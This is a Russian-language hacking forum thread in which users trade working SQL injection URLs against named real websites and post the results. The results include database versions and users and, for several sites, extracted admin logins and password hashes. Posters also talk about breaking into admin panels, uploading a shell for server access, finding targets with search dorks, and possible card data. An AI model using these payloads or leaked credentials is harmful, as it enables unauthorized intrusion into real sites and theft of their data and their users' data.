SQL-инъекции

4.0.27-standard

Код:

http://www.eamesgallery.com/cart/prod_cat.php?id=-5+union+select+1,2,3,4,5,6,7,8,9,10,version(),12,13--

4.1.22-log

Код:

http://www.ixus.com.ua/prod_cat.php?id=-26+union+select+version(),2,3/*

Добавлено через 5 часов 2 минуты
5.0.51a-community

Код:

http://elpages.ru/about.php?id=-121+union+select+version()--

Добавлено через 5 часов 9 минут
4.1.22-log

Код:

http://kniga-market.kiev.ua/about.php?id=121&crm=1&tmp=-41+union+select+version()--

 

Код:

http://english.dvb.no/news.php?id=99997010+union+select+1,version(),3,database(),5,6,USER(),8,9,10,LAST_INSERT_ID(),12,13,14,15,16,17,18,19,20,21--

5.0.67-0ubuntu6

Код:

http://www.teatrdoc.ru/plays.php?id=-3+union+select+1,version(),database()%20,USER(),5--

Код:

http://www.mibf.ru/index.php?id=37+union+select+1,2,3,4,5,6,7,8,9,10--

UnHidden Content:

Код:

http://gta.com.ua/file_sa_details.phtml?id=59+union+select+1,2,3,4,concat(version(),0x3a,database(),0x3a,user()),6,7,version(),database(),USER(),SESSION_USER(),LAST_INSERT_ID(),13,14,15,16,17,18,19,20--

дальше влом крутить..

5.0.51a-community:gtacom_gta:gtacom_gta@localhost

Код:

www.pogoda.ua/index.php?id=28+union+select+1,2,3,4,5/* 

вывод ненашол

 

Спасибо за апдейт - в моей базе этот линк лежал еще нераспотрошенный с четвертой версией мускула

 

4.0.27-log

Код:

http://www.academiaga.ru/index.php?id=-122+union+select+version(),2,3,4--

 

Код:

http://www.hrcc.org/member.php?id=-464+union+select+1,2,3,4,column_name,6,7,8,9,0,1,2,3,4,5,6,7,8+from+information_schema.columns+where+table_name=0x77656263616C5F75736572+limit+1,1--

дальше стало не интересно

 

4.1.22-standard-log

Код:

http://www.artmaterial.ru/about.php?content=dealer&id=-99999+union+select+1,2,3,4,5,6,version(),8,9,10,11,12/*

 

UnHidden Content:

А вот и вывод

 

Э, вообщем нашел сканером инъекцию. Он выдал мне ссылку (я так понял, что на нее), ну вот не пойму где она там фильтруется, или что там она делает.

UnHidden Content:

http://www.psywarez.com:80/engine/go.php?url=aHR0cDovL3JhcGlkc2hhcmUuY29tL2ZpbGVzLzE3MTQ5NTMyOS9wb2x5c3ZldC4yMDA2Lnh2aWQuZHZkcmlwLnBhcnQwMS5yYXI%3D

 

mg-el,
1. делай не активную ссылку
2. при переходе по твоей ссылке открывает главную страницу сделай подную ссылку

X-Spider ом сканировал что ли?

 

подредактировал))
А сканировал Jsky. выдал мне критическую ошибку sql - injection и вот эту ссылку.

 

X-Spider ом сканировал что ли?
__________________

 

Ты так и неответил на вопрос.. Чем сканирувал?
Ведь знаешь сканер тож может ошибится или дал просто то что тебе ненужна и ты нетак все понял..
И еше один вопрос те имена нужен этот сайт?если да то приеду с больницы дамой гляну..а еси ты просто наткнулся сканером и ради интереса хочешь довести дело до конца незная шо и как то лутше забей!ведь в гугле можно стока ишо интересных и даж легких скулей найти к примеру по запросу "inurl:news.php?id=1"

 

flem,
да зачем так геморно реверс и уаля я уже в админке сижу, сейчас допру как ту шел залить и будет доступ к серваку

а выбор тут богатый

кое где даже картон по идеи есть

 

jsky ем сканировал. А насчет принципиальности, просто сканировал и наткнулся, хотя на часик доступ в админку бы не помешал... =) а вабще выложил с целью проверить действительно ли эта дыра есть и можно ли ей воспользоваться имея минимум навыка в скул инъекции..

 

mg-el,
ну как те сказать
сайт написан почти на голом хтмле тут скуля не пройдет дсотуп тока через реверс как я писал до этого

 

а, спасибо Zik.
И еще вопросик, не могу найти не одного сайта в котором ?id=1' прокатывает, не подскажете адресс, а то я уже методом тыка с 1000 сайтов перепробывал, надоело уже, а попробывать охото..))

 

_http://www.bombardier.cv.ua/ 5 бд будет легко уже побывал в админке ловить нечего там

 

_http://www.dittberner.com/

Код:

http://www.dittberner.com/reports/about.php?id=-5+union+select+1,2,3,4,username,6,7,8+from+user+limit+1,1--

Код:

http://www.dittberner.com/reports/about.php?id=-5+union+select+1,2,3,4,password,6,7,8+from+user+limit+1,1--

varbobitis:6215defe2a2da202

Код:

http://www.dittberner.com/login.php

PR: 5

Добавлено через 23 часа 46 минут

Код:

http://www.palit.biz/main/about.php?id=-1+union+select+1,2,3,4,version(),6,7--

4.1.21

тИЦ: 230
PR: 5

Код:

http://www.chicagoloopalliance.com/about.php?id=-193+union+select+1,2/*

PR: 5

Код:

http://www.mlsoftball.com/about.php?ID=-2+union+select+1,2,version()/*

4.0.27-standard

PR: 3

Код:

http://www.kss-windows.com/next.php?id=-22+union+select+1,2/*

 

Код:

http://www.empoweredproducts.com/product_one.php?id=-5+union+select+1,2,3,concat(version(),0x3a,database(),0x3a,user())/*

5.0.45:gunoil_db:empow@localhost

Код:

http://www.laptopik.ru/articles.php?id=-20+union+select+1,2,3,concat(version(),0x3a,database(),0x3a,user())/*

4.1.22-log:wwwlaptopikru:laptopik@localhost

Код:

http://koleso.topof.ru/testing_info.php?id=-20+union+select+1,2,concat(version(),0x3a,database(),0x3a,user()),4,5,6,7,8/*

5.0.22:koleso_ktopof:koleso_ktopof@localhost
Тут Зик помог, за что ему спасибо)

Код:

http://koleso.topof.ru/testing_info.php?id=-20+UNION+SELECT+1,2,concat(admin_login,char(58),admin_password),4,5,6,7,8+from+admins/*

Код:

topof:33d51f16ddaf72afb581e2a223c602a1:4f 

 

Код:

http://www.joinava.org/APS4P20081101A/ava.php?id=-34+union+select+concat(username,0x3a,password)+from+cms_users